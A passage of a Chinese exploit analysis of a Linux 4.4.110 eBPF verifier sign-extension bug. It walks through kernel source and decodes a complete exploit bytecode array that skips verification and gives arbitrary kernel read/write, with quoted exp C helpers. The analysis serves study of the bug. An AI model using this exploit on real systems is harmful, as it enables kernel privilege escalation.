继续模拟执行分支A中的指令，当指令是BPF_EXIT指令时，，会执行do_check函数中process_bpf_exit中的逻辑，调用pop_stack检查栈中是否还有未检查的指令，如果有则将临时栈中的指令弹出继续模拟执行执行for循环中的检查逻辑；如果env->head == NULL则说明eBPF程序中BPF_EXIT是最后一条指令，所有指令检查完毕，函数返回-1，insn_idx<0跳出for循环，do_check模拟执行结束。1
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29//do_check
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L424
static int pop_stack(struct verifier_env *env, int *prev_insn_idx)
{
struct verifier_stack_elem *elem;
int insn_idx;
if (env->head == NULL)
return -1;
memcpy(&env->cur_state, &env->head->st, sizeof(env->cur_state));
insn_idx = env->head->insn_idx;
if (prev_insn_idx)
*prev_insn_idx = env->head->prev_insn_idx;
elem = env->head->next;
kfree(env->head);
env->head = elem;
env->stack_size--;
return insn_idx;
}
__bpf_prog_run真正执行
当do_check检查结束后，就完成了eBPF的verifier机制的两轮检查，eBPF代码可以真正执行，真正执行调用 __bpf_prog_run函数，函数维护了一个jumptable跳转表，根据insn->code的类型跳转到不同的逻辑去执行代码。这个函数中有一个寄存器变量regs，它的类型是u64，即64位下的无符号整数类型。函数中涉及到的DST,SRC以及IMM类型如下，可以看到DST和SRC来源于regs，类型为u64，IMM来自类型为bpf_insn的insn，类型为s32。1
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4/* Named registers */
当出现赋值语句时，以前面的BPF_MOV指令为例，当执行ALU_MOV_K时，会将IMM由insn->imm(s32)有符号整型转成32位的unsigned int类型；当执行ALU64_MOV_K时，会将insn->imm(s32)有符号整型扩展为64位的unsigned int类型。1
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55//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
u64 stack[MAX_BPF_STACK / sizeof(u64)];
u64 regs[MAX_BPF_REG], tmp;
static const void *jumptable[256] = {
[0 ... 255] = &&default_label,
/* Now overwrite non-defaults ... */
/* 32 bit ALU operations */
... ...
};
u32 tail_call_cnt = 0;
void *ptr;
int off;
FP = (u64) (unsigned long) &stack[ARRAY_SIZE(stack)];
ARG1 = (u64) (unsigned long) ctx;
/* Registers used in classic BPF programs need to be reset first. */
regs[BPF_REG_A] = 0;
regs[BPF_REG_X] = 0;
select_insn:
goto *jumptable[insn->code];
/* ALU */
... ...
ALU(ADD, +)
ALU(SUB, -)
ALU(AND, &)
ALU(OR, |)
ALU(LSH, <<)
ALU(RSH, >>)
ALU(XOR, ^)
ALU(MUL, *)
... ...
ALU_MOV_X:
DST = (u32) SRC;
CONT;
ALU_MOV_K:
DST = (u32) IMM;
CONT;
ALU64_MOV_X:
DST = SRC;
CONT;
ALU64_MOV_K:
DST = IMM;
CONT;
... ...
既然DST和IMM类型不一致，处理类型为BPF_JMP的指令也存在问题，当指令为JMP_JEQ_K时，会比较DST和IMM的数值是否相等，如果相等，则执行跳转分支insn += insn->off；同样在JMP_JNE_K中，当DST != IMM时，会执行跳转分支insn += insn->off。那这就存在一个问题，在模拟执行do_check的check_cond_jmp_op函数中，当指令为BPF_JNE或BPF_JEQ且目的操作数是imm时，会首先检查insn->imm和目的寄存器的imm是否相等，如果相等则函数认为不相等的分支不会执行，函数直接跳转到pc+off处继续执行检查逻辑，并没有将不相等的分支压入栈中，不相等的这一分支就直接越过了模拟执行的检查，因为函数认为这一分支根本不会执行到，只有在不确定条件跳转时才会先检查分支A，将分支B压入栈中，分支A执行到BPF_EXIT，再弹出分支B继续模拟执行。但是在真正执行时，目标寄存器DST的类型是u64，而IMM的类型是s32，当DST和IMM进行比较时，imm会由s32先符号扩展为s64，然后再由s64转换为u64,如果IMM是负数，转换后会曲解IMM的值，从而造成DST和IMM不相等，逃避检查的不相等的分支可以得到执行，而且它顺利通过了do_check中的检查。1
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47//https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L473
/* JMP */
JMP_JA:
insn += insn->off;
CONT;
JMP_JEQ_X:
if (DST == SRC) {
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JEQ_K:
if (DST == IMM) { //here
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JNE_X:
if (DST != SRC) {
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JNE_K:
if (DST != IMM) { //here
insn += insn->off;
CONT_JMP;
}
CONT;
JMP_JGT_X:
if (DST > SRC) {
insn += insn->off;
CONT_JMP;
}
CONT;
... ...
CONT;
JMP_EXIT:
return BPF_R0;
... ...
default_label:
/* If we ever reach this, we have a bug somewhere. */
WARN_RATELIMIT(1, "unknown opcode %02x\n", insn->code);
return 0;
}
利用过程
指令解码
首先看exp中关键的prog数组，将其转化为eBPF指令，每条指令的长度为8个字节：1
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prog = ["\xb4\x09\x00\x00\xff\xff\xff\xff",
"\x55\x09\x02\x00\xff\xff\xff\xff",
"\xb7\x00\x00\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00",
"\x18\x19\x00\x00\x03\x00\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\xbf\x91\x00\x00\x00\x00\x00\x00",
"\xbf\xa2\x00\x00\x00\x00\x00\x00",
"\x07\x02\x00\x00\xfc\xff\xff\xff",
"\x62\x0a\xfc\xff\x00\x00\x00\x00",
"\x85\x00\x00\x00\x01\x00\x00\x00",
"\x55\x00\x01\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00",
"\x79\x06\x00\x00\x00\x00\x00\x00",
"\xbf\x91\x00\x00\x00\x00\x00\x00",
"\xbf\xa2\x00\x00\x00\x00\x00\x00",
"\x07\x02\x00\x00\xfc\xff\xff\xff",
"\x62\x0a\xfc\xff\x01\x00\x00\x00",
"\x85\x00\x00\x00\x01\x00\x00\x00",
"\x55\x00\x01\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00",
"\x79\x07\x00\x00\x00\x00\x00\x00",
"\xbf\x91\x00\x00\x00\x00\x00\x00",
"\xbf\xa2\x00\x00\x00\x00\x00\x00",
"\x07\x02\x00\x00\xfc\xff\xff\xff",
"\x62\x0a\xfc\xff\x02\x00\x00\x00",
"\x85\x00\x00\x00\x01\x00\x00\x00",
"\x55\x00\x01\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00",
"\x79\x08\x00\x00\x00\x00\x00\x00",
"\xbf\x02\x00\x00\x00\x00\x00\x00",
"\xb7\x00\x00\x00\x00\x00\x00\x00",
"\x55\x06\x03\x00\x00\x00\x00\x00",
"\x79\x73\x00\x00\x00\x00\x00\x00",
"\x7b\x32\x00\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00",
"\x55\x06\x02\x00\x01\x00\x00\x00",
"\x7b\xa2\x00\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00",
"\x7b\x87\x00\x00\x00\x00\x00\x00",
"\x95\x00\x00\x00\x00\x00\x00\x00"]
#define BPF_CLASS(code) ((code) & 0x07)
BPF_LD = 0x00
BPF_LDX = 0x01
BPF_ST = 0x02
BPF_STX = 0x03
BPF_ALU = 0x04
BPF_JMP = 0x05
BPF_RET = 0x06
BPF_MISC = 0x07
#define BPF_SIZE(code) ((code) & 0x18)
BPF_W = 0x00
BPF_H = 0x08
BPF_B = 0x10
#define BPF_MODE(code) ((code) & 0xe0)
BPF_IMM = 0x00
BPF_ABS = 0x20
BPF_IND = 0x40
BPF_MEM = 0x60
BPF_LEN = 0x80
BPF_MSH = 0xa0
#BPF_OP(code) ((code) & 0xf0)
BPF_ADD = 0x00
BPF_SUB = 0x10
BPF_MUL = 0x20
BPF_DIV = 0x30
BPF_OR = 0x40
BPF_AND = 0x50
BPF_LSH = 0x60
BPF_RSH = 0x70
BPF_NEG = 0x80
BPF_MOD = 0x90
BPF_XOR = 0xa0
BPF_JA = 0x00
BPF_JEQ = 0x10
BPF_JGT = 0x20
BPF_JGE = 0x30
BPF_JSET = 0x40
#define BPF_SRC(code) ((code) & 0x08)
BPF_K = 0x00
BPF_X = 0x08
#/* instruction classes */
BPF_ALU64 = 0x07 #/* alu mode in double word width */
#/* ld/ldx fields */
BPF_DW = 0x18 #/* double word */
BPF_XADD = 0xc0 #/* exclusive add */
#/* alu/jmp fields */
BPF_MOV = 0xb0 #/* mov reg to reg */
BPF_ARSH = 0xc0 #/* sign extending arithmetic shift right */
#/* change endianness of a register */
BPF_END = 0xd0 #/* flags for endianness conversion: */
BPF_TO_LE = 0x00 #/* convert to little-endian */
BPF_TO_BE = 0x08 #/* convert to big-endian */
BPF_JNE = 0x50 #/* jump != */
BPF_JSGT = 0x60 #/* SGT is signed '>', GT in x86 */
BPF_JSGE = 0x70 #/* SGE is signed '>=', GE in x86 */
BPF_CALL = 0x80 #/* function call */
BPF_EXIT = 0x90 #/* function return */
BPF_PSEUDO_MAP_FD = 1
opcode = []
for i in range(256):
opcode.append("")
opcode[BPF_ALU | BPF_ADD | BPF_X] = "ALU_ADD_X"
opcode[BPF_ALU | BPF_ADD | BPF_K] = "ALU_ADD_K"
opcode[BPF_ALU | BPF_SUB | BPF_X] = "ALU_SUB_X"
opcode[BPF_ALU | BPF_SUB | BPF_K] = "ALU_SUB_K"
opcode[BPF_ALU | BPF_AND | BPF_X] = "ALU_AND_X"
opcode[BPF_ALU | BPF_AND | BPF_K] = "ALU_AND_K"
opcode[BPF_ALU | BPF_OR | BPF_X] = "ALU_OR_X"
opcode[BPF_ALU | BPF_OR | BPF_K] = "ALU_OR_K"
opcode[BPF_ALU | BPF_LSH | BPF_X] = "ALU_LSH_X"
opcode[BPF_ALU | BPF_LSH | BPF_K] = "ALU_LSH_K"
opcode[BPF_ALU | BPF_RSH | BPF_X] = "ALU_RSH_X"
opcode[BPF_ALU | BPF_RSH | BPF_K] = "ALU_RSH_K"
opcode[BPF_ALU | BPF_XOR | BPF_X] = "ALU_XOR_X"
opcode[BPF_ALU | BPF_XOR | BPF_K] = "ALU_XOR_K"
opcode[BPF_ALU | BPF_MUL | BPF_X] = "ALU_MUL_X"
opcode[BPF_ALU | BPF_MUL | BPF_K] = "ALU_MUL_K"
opcode[BPF_ALU | BPF_MOV | BPF_X] = "ALU_MOV_X"
opcode[BPF_ALU | BPF_MOV | BPF_K] = "ALU_MOV_K"
opcode[BPF_ALU | BPF_DIV | BPF_X] = "ALU_DIV_X"
opcode[BPF_ALU | BPF_DIV | BPF_K] = "ALU_DIV_K"
opcode[BPF_ALU | BPF_MOD | BPF_X] = "ALU_MOD_X"
opcode[BPF_ALU | BPF_MOD | BPF_K] = "ALU_MOD_K"
opcode[BPF_ALU | BPF_NEG] = "ALU_NEG"
opcode[BPF_ALU | BPF_END | BPF_TO_BE] = "ALU_END_TO_BE"
opcode[BPF_ALU | BPF_END | BPF_TO_LE] = "ALU_END_TO_LE"
#/* 64 bit ALU operations */
opcode[BPF_ALU64 | BPF_ADD | BPF_X] = "ALU64_ADD_X"
opcode[BPF_ALU64 | BPF_ADD | BPF_K] = "ALU64_ADD_K"
opcode[BPF_ALU64 | BPF_SUB | BPF_X] = "ALU64_SUB_X"
opcode[BPF_ALU64 | BPF_SUB | BPF_K] = "ALU64_SUB_K"
opcode[BPF_ALU64 | BPF_AND | BPF_X] = "ALU64_AND_X"
opcode[BPF_ALU64 | BPF_AND | BPF_K] = "ALU64_AND_K"
opcode[BPF_ALU64 | BPF_OR | BPF_X] = "ALU64_OR_X"
opcode[BPF_ALU64 | BPF_OR | BPF_K] = "ALU64_OR_K"
opcode[BPF_ALU64 | BPF_LSH | BPF_X] = "ALU64_LSH_X"
opcode[BPF_ALU64 | BPF_LSH | BPF_K] = "ALU64_LSH_K"
opcode[BPF_ALU64 | BPF_RSH | BPF_X] = "ALU64_RSH_X"
opcode[BPF_ALU64 | BPF_RSH | BPF_K] = "ALU64_RSH_K"
opcode[BPF_ALU64 | BPF_XOR | BPF_X] = "ALU64_XOR_X"
opcode[BPF_ALU64 | BPF_XOR | BPF_K] = "ALU64_XOR_K"
opcode[BPF_ALU64 | BPF_MUL | BPF_X] = "ALU64_MUL_X"
opcode[BPF_ALU64 | BPF_MUL | BPF_K] = "ALU64_MUL_K"
opcode[BPF_ALU64 | BPF_MOV | BPF_X] = "ALU64_MOV_X"
opcode[BPF_ALU64 | BPF_MOV | BPF_K] = "ALU64_MOV_K"
opcode[BPF_ALU64 | BPF_ARSH | BPF_X] = "ALU64_ARSH_X"
opcode[BPF_ALU64 | BPF_ARSH | BPF_K] = "ALU64_ARSH_K"
opcode[BPF_ALU64 | BPF_DIV | BPF_X] = "ALU64_DIV_X"
opcode[BPF_ALU64 | BPF_DIV | BPF_K] = "ALU64_DIV_K"
opcode[BPF_ALU64 | BPF_MOD | BPF_X] = "ALU64_MOD_X"
opcode[BPF_ALU64 | BPF_MOD | BPF_K] = "ALU64_MOD_K"
opcode[BPF_ALU64 | BPF_NEG] = "ALU64_NEG"
#/* Call instruction */
opcode[BPF_JMP | BPF_CALL] = "JMP_CALL"
opcode[BPF_JMP | BPF_CALL | BPF_X] = "JMP_TAIL_CALL"
#/* Jumps */
opcode[BPF_JMP | BPF_JA] = "JMP_JA"
opcode[BPF_JMP | BPF_JEQ | BPF_X] = "JMP_JEQ_X"
opcode[BPF_JMP | BPF_JEQ | BPF_K] = "JMP_JEQ_K"
opcode[BPF_JMP | BPF_JNE | BPF_X] = "JMP_JNE_X"
opcode[BPF_JMP | BPF_JNE | BPF_K] = "JMP_JNE_K"
opcode[BPF_JMP | BPF_JGT | BPF_X] = "JMP_JGT_X"
opcode[BPF_JMP | BPF_JGT | BPF_K] = "JMP_JGT_K"
opcode[BPF_JMP | BPF_JGE | BPF_X] = "JMP_JGE_X"
opcode[BPF_JMP | BPF_JGE | BPF_K] = "JMP_JGE_K"
opcode[BPF_JMP | BPF_JSGT | BPF_X] = "JMP_JSGT_X"
opcode[BPF_JMP | BPF_JSGT | BPF_K] = "JMP_JSGT_K"
opcode[BPF_JMP | BPF_JSGE | BPF_X] = "JMP_JSGE_X"
opcode[BPF_JMP | BPF_JSGE | BPF_K] = "JMP_JSGE_K"
opcode[BPF_JMP | BPF_JSET | BPF_X] = "JMP_JSET_X"
opcode[BPF_JMP | BPF_JSET | BPF_K] = "JMP_JSET_K"
#/* Program return */
opcode[BPF_JMP | BPF_EXIT] = "JMP_EXIT"
#/* Store instructions */
opcode[BPF_STX | BPF_MEM | BPF_B] = "STX_MEM_B"
opcode[BPF_STX | BPF_MEM | BPF_H] = "STX_MEM_H"
opcode[BPF_STX | BPF_MEM | BPF_W] = "STX_MEM_W"
opcode[BPF_STX | BPF_MEM | BPF_DW] = "STX_MEM_DW"
opcode[BPF_STX | BPF_XADD | BPF_W] = "STX_XADD_W"
opcode[BPF_STX | BPF_XADD | BPF_DW] = "STX_XADD_DW"
opcode[BPF_ST | BPF_MEM | BPF_B] = "ST_MEM_B"
opcode[BPF_ST | BPF_MEM | BPF_H] = "ST_MEM_H"
opcode[BPF_ST | BPF_MEM | BPF_W] = "ST_MEM_W"
opcode[BPF_ST | BPF_MEM | BPF_DW] = "ST_MEM_DW"
#/* Load instructions */
opcode[BPF_LDX | BPF_MEM | BPF_B] = "LDX_MEM_B"
opcode[BPF_LDX | BPF_MEM | BPF_H] = "LDX_MEM_H"
opcode[BPF_LDX | BPF_MEM | BPF_W] = "LDX_MEM_W"
opcode[BPF_LDX | BPF_MEM | BPF_DW] = "LDX_MEM_DW"
opcode[BPF_LD | BPF_ABS | BPF_W] = "LD_ABS_W"
opcode[BPF_LD | BPF_ABS | BPF_H] = "LD_ABS_H"
opcode[BPF_LD | BPF_ABS | BPF_B] = "LD_ABS_B"
opcode[BPF_LD | BPF_IND | BPF_W] = "LD_IND_W"
opcode[BPF_LD | BPF_IND | BPF_H] = "LD_IND_H"
opcode[BPF_LD | BPF_IND | BPF_B] = "LD_IND_B"
opcode[BPF_LD | BPF_IMM | BPF_DW] = "LD_IMM_DW"
'''
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
'''
regs = ["BPF_REG_0","BPF_REG_1","BPF_REG_2","BPF_REG_3","BPF_REG_4",
"BPF_REG_5","BPF_REG_6","BPF_REG_7","BPF_REG_8","BPF_REG_9","BPF_REG_10"]
def u32(imm):
if(len(imm) != 4):
imm = imm + '\x00'*(4-len(imm))
imm_num = ord(imm[0]) + (ord(imm[1]) << 8) + (ord(imm[2]) << 16) + (ord(imm[3]) << 24)
return imm_num
def u16(imm):
if(len(imm) != 2):
imm = imm + '\x00'*(2-len(imm))
imm_num = ord(imm[0]) + (ord(imm[1]) << 8)
return imm_num
for i in range(len(prog)):
ins = prog[i].strip()
code = opcode[ord(ins[0])]
src_reg = regs[(ord(ins[1]) >> 4) & 0xf]
dst_reg = regs[ord(ins[1]) & 0x0f]
off = u16(ins[2:4])
imm = ins[4:]
imm = u32(imm)
if code == "LD_IMM_DW" and ((ord(ins[1]) >> 4) & 0xf) == BPF_PSEUDO_MAP_FD:
if i != len(prog) - 1 and prog[i+1] == "\x00\x00\x00\x00\x00\x00\x00\x00":
code = "LD_MAP_FD"
insn = code + '(' + dst_reg + ', ' + 'map_addr' + ')'
elif ins == "\x00\x00\x00\x00\x00\x00\x00\x00":
insn = "bpf_map_padding"
else:
insn = code + '('+ dst_reg + ', ' + src_reg + ', ' + str(hex(off)) + ', ' + str(hex(imm)) + ')'
print("[%d]: %s" %(i,insn))
prog一共有41条指令，脚本对指令[10],[18],[26]的指令类型无法识别，结合exp及其他博客对少数指令进行了修正：1
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41[0]: ALU_MOV_K(BPF_REG_9, BPF_REG_0, 0x0, 0xffffffff)
[1]: JMP_JNE_K(BPF_REG_9, BPF_REG_0, 0x2, 0xffffffff)
[2]: ALU64_MOV_K(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[3]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[4]: LD_MAP_FD(BPF_REG_9, map_addr)
[5]: bpf_map_padding
[6]: ALU64_MOV_X(BPF_REG_1, BPF_REG_9, 0x0, 0x0)
[7]: ALU64_MOV_X(BPF_REG_2, BPF_REG_10, 0x0, 0x0)
[8]: ALU64_ADD_K(BPF_REG_2, BPF_REG_0, 0x0, 0xfffffffc)
[9]: ST_MEM_W(BPF_REG_10, BPF_REG_0, 0xfffc, 0x0)
[10]: BPF_RAW_INSN(BPF_JMP | BPF_CALL, BPF_REG_0, BPF_REG_0, 0, BPF_FUNC_map_lookup_elem)
[11]: JMP_JNE_K(BPF_REG_0, BPF_REG_0, 0x1, 0x0)
[12]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[13]: LDX_MEM_DW(BPF_REG_6, BPF_REG_0, 0x0, 0x0)
[14]: ALU64_MOV_X(BPF_REG_1, BPF_REG_9, 0x0, 0x0)
[15]: ALU64_MOV_X(BPF_REG_2, BPF_REG_10, 0x0, 0x0)
[16]: ALU64_ADD_K(BPF_REG_2, BPF_REG_0, 0x0, 0xfffffffc)
[17]: ST_MEM_W(BPF_REG_10, BPF_REG_0, 0xfffc, 0x1)
[18]: BPF_RAW_INSN(BPF_JMP | BPF_CALL, BPF_REG_0, BPF_REG_0, 0, BPF_FUNC_map_lookup_elem)
[19]: JMP_JNE_K(BPF_REG_0, BPF_REG_0, 0x1, 0x0)
[20]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[21]: LDX_MEM_DW(BPF_REG_7, BPF_REG_0, 0x0, 0x0)
[22]: ALU64_MOV_X(BPF_REG_1, BPF_REG_9, 0x0, 0x0)
[23]: ALU64_MOV_X(BPF_REG_2, BPF_REG_10, 0x0, 0x0)
[24]: ALU64_ADD_K(BPF_REG_2, BPF_REG_0, 0x0, 0xfffffffc)
[25]: ST_MEM_W(BPF_REG_10, BPF_REG_0, 0xfffc, 0x2)
[26]: BPF_RAW_INSN(BPF_JMP | BPF_CALL, BPF_REG_0, BPF_REG_0, 0, BPF_FUNC_map_lookup_elem)
[27]: JMP_JNE_K(BPF_REG_0, BPF_REG_0, 0x1, 0x0)
[28]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[29]: LDX_MEM_DW(BPF_REG_8, BPF_REG_0, 0x0, 0x0)
[30]: ALU64_MOV_X(BPF_REG_2, BPF_REG_0, 0x0, 0x0)
[31]: ALU64_MOV_K(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[32]: JMP_JNE_K(BPF_REG_6, BPF_REG_0, 0x3, 0x0)
[33]: LDX_MEM_DW(BPF_REG_3, BPF_REG_7, 0x0, 0x0)
[34]: STX_MEM_DW(BPF_REG_2, BPF_REG_3, 0x0, 0x0)
[35]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[36]: JMP_JNE_K(BPF_REG_6, BPF_REG_0, 0x2, 0x1)
[37]: STX_MEM_DW(BPF_REG_2, BPF_REG_10, 0x0, 0x0)
[38]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[39]: STX_MEM_DW(BPF_REG_7, BPF_REG_8, 0x0, 0x0)
[40]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
指令执行过程
绕过check
分析指令[0]~[3]，指令[0]将r9赋值为0xffffffff，指令[1]为条件跳转指令，当r9 == 0xffffffff时，继续执行下一条指令，当r9 != 0xffffffff跳转到指令[4]去执行，由于在模拟执行时，r9寄存器在指令[0]时被赋值为0xffffffff，do_check认为r9恒等于0xffffffff，就不会去检查指令[4]以及后面的指令，继续模拟执行指令[2]，指令[2]将r0赋值为0，继续模拟执行，指令[3]是BPF_EXIT指令，临时栈中也没有其他分支，do_check检查结束，但其实do_check只检查了4条指令。但是在真正执行时，目的寄存器DST的类型为u64，大小是0x00000000ffffffff,IMM为类型为s32，值为0xffffffff，与DST比较时先进行符号扩展为0xffffffffffffffff，然后被认为是64位的无符号整数0xffffffffffffffff，从而导致DST != IMM，跳转条件成立，跳转到指令[4]去执行。1
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4[0]: ALU_MOV_K(BPF_REG_9, BPF_REG_0, 0x0, 0xffffffff)
[1]: JMP_JNE_K(BPF_REG_9, BPF_REG_0, 0x2, 0xffffffff)
[2]: ALU64_MOV_K(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
[3]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0)
我们可以看到真正执行时DST和IMM的值，在函数__bpf_prog_run中下断点，程序执行至DST与IMM的比较，rbx指向的就是我们的指令1，那我们就可以判断rdx由指令movsxd rdx, dword ptr [rbx + 4]得到，movsxd为符号扩展传送指令，将IMM由s32扩展为u64，IMM也就是rdx的值变为0xffffffffffffffff:
那另外一个就是DST的值，DST的值是0x00000000ffffffff，DST不等于IMM，然后程序从本条指令中获取到off，跳转至指令[4]去执行。
获取map地址
根据前面对replace_map_fd_with_map_ptr函数的分析，可以知道这里将bpf_map的地址赋值给r9，第五条指令是为了符合LD_MAP_FD的下一条指令的要求。1
2[4]: LD_MAP_FD(BPF_REG_9, map_addr) //r9 = map_addr
[5]: bpf_map_padding
获取map[0] ~ map[2]
获取map[0]，存储在r6中：1
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8[6]: ALU64_MOV_X(BPF_REG_1, BPF_REG_9, 0x0, 0x0) //r1 = r9，即r1 = map_addr
[7]: ALU64_MOV_X(BPF_REG_2, BPF_REG_10, 0x0, 0x0) //r2 = r10 = rbp
[8]: ALU64_ADD_K(BPF_REG_2, BPF_REG_0, 0x0, 0xfffffffc) //r2 = r2 + 0xfffffffc，即r2 = r2 - 4 = rbp - 4
[9]: ST_MEM_W(BPF_REG_10, BPF_REG_0, 0xfffc, 0x0) //[rbp - 4] = r0
[10]: BPF_RAW_INSN(BPF_JMP | BPF_CALL, BPF_REG_0, BPF_REG_0, 0, BPF_FUNC_map_lookup_elem) //call
[11]: JMP_JNE_K(BPF_REG_0, BPF_REG_0, 0x1, 0x0) //if(r0 != 0): 函数bpf_lookup_elem成功执行，跳转到指令[13]处执行，否则exit(0)
[12]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //exit(0)
[13]: LDX_MEM_DW(BPF_REG_6, BPF_REG_0, 0x0, 0x0) //r6 = [r0] = map[0]
获取map[1]，存储在r7中：1
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8[14]: ALU64_MOV_X(BPF_REG_1, BPF_REG_9, 0x0, 0x0) //r1 = r9
[15]: ALU64_MOV_X(BPF_REG_2, BPF_REG_10, 0x0, 0x0) //r2 = r10 = rbp
[16]: ALU64_ADD_K(BPF_REG_2, BPF_REG_0, 0x0, 0xfffffffc) //r2 = rbp - 4
[17]: ST_MEM_W(BPF_REG_10, BPF_REG_0, 0xfffc, 0x1) //[rbp - 4] = r0
[18]: BPF_RAW_INSN(BPF_JMP | BPF_CALL, BPF_REG_0, BPF_REG_0, 0, BPF_FUNC_map_lookup_elem)
[19]: JMP_JNE_K(BPF_REG_0, BPF_REG_0, 0x1, 0x0) //if(r0 != 0): 函数bpf_lookup_elem成功执行，跳转到指令[13]处执行，否则exit(0)
[20]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //exit(0)
[21]: LDX_MEM_DW(BPF_REG_7, BPF_REG_0, 0x0, 0x0) //r7 = [r0] = map[1]
获取map[2]，存储在r8中：1
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8[22]: ALU64_MOV_X(BPF_REG_1, BPF_REG_9, 0x0, 0x0) //r1 = r9
[23]: ALU64_MOV_X(BPF_REG_2, BPF_REG_10, 0x0, 0x0) //r2 = r10 = rbp
[24]: ALU64_ADD_K(BPF_REG_2, BPF_REG_0, 0x0, 0xfffffffc) //r2 = rbp - 4
[25]: ST_MEM_W(BPF_REG_10, BPF_REG_0, 0xfffc, 0x2) //[rbp - 4] = r0
[26]: BPF_RAW_INSN(BPF_JMP | BPF_CALL, BPF_REG_0, BPF_REG_0, 0, BPF_FUNC_map_lookup_elem)
[27]: JMP_JNE_K(BPF_REG_0, BPF_REG_0, 0x1, 0x0) //if(r0 != 0): 函数bpf_lookup_elem成功执行，跳转到指令[29]处执行，否则exit(0)
[28]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //exit(0)
[29]: LDX_MEM_DW(BPF_REG_8, BPF_REG_0, 0x0, 0x0) //r8 = [r0] = map[2]
任意地址读写
指令[30]~指令[40]由map[0]的值的不同导致以下情况：
- 如果r6等于0即map[0] == 0，r3 = map[1];map[2] = r3;由于map[1]可控，因此可以进行任意地址读，将想要泄露的地址写入map[1]中，再读取map[2]的值进行泄露。
- 如果r6等于0即map[0] == 1，map[2] = rbp;将rbp写入map[2]中，可以利用map[2]来泄露栈地址。
- 如果r6不等于1即map[0] != 1，将map[2]的值写入map[1]指向的地址中，由于map[2]和map[1]我们都可控，可以利用这一分支进行任意地址写。
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11[30]: ALU64_MOV_X(BPF_REG_2, BPF_REG_0, 0x0, 0x0) //r2 = r0 = idx3
[31]: ALU64_MOV_K(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //r0 = 0
[32]: JMP_JNE_K(BPF_REG_6, BPF_REG_0, 0x3, 0x0) //if(r6 != 0): 跳转到指令[36]处执行，否则继续执行下一条指令
[33]: LDX_MEM_DW(BPF_REG_3, BPF_REG_7, 0x0, 0x0) //r3 = [r7]
[34]: STX_MEM_DW(BPF_REG_2, BPF_REG_3, 0x0, 0x0) //[r2] = r3
[35]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //exit(0)
[36]: JMP_JNE_K(BPF_REG_6, BPF_REG_0, 0x2, 0x1) //if(r6 != 1)：跳转到指令[39]处执行，否则继续执行下一条指令
[37]: STX_MEM_DW(BPF_REG_2, BPF_REG_10, 0x0, 0x0) //[r2] = r10 = rbp
[38]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //exit(0)
[39]: STX_MEM_DW(BPF_REG_7, BPF_REG_8, 0x0, 0x0) //[r7] = r8
[40]: JMP_EXIT(BPF_REG_0, BPF_REG_0, 0x0, 0x0) //exit(0)
攻击过程
再看一下实际执行的情况，内核版本是4.4.110，直接使用了p4nda大佬编译的bzImage，文件系统随便用的某一个kernel pwn题的：1
2/ $ uname -a
Linux (none) 4.4.110 #1 SMP Thu Oct 11 05:33:12 PDT 2018 x86_64 GNU/Linux
exp分为两部分，一部分为准备工作，创建map，加载eBPF代码以及绑定socket，和前面的sample介绍的流程类似，这里就不再赘述，只贴一下exp的函数调用流程:1
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24//prepare
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0){
puts("mapfd create error");
exit(0);
}
puts("[+]mapfd finished");
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
exit(0);
puts("[+]bpf_prog_load finished");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
exit(0);
puts("[+]socketpair finished");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
exit(0);
puts("[+]setsockopt finished");
在进行exploit之前，首先介绍在exp中如何进行地址泄露以及任意地址读写，与eBPF指令[30]~[40]对应。首先是任意地址泄露，条件是map[0] = 0，将目标地址写入map[1]，读取map[2]进行泄露：1
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7//map[0] = 0,map[1] = addr,map[2] = 0
//read target_addr from map[2]
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0); //bpf_update_elem 0~2
return get_value(2); //bpf_lookup_elem 2
}
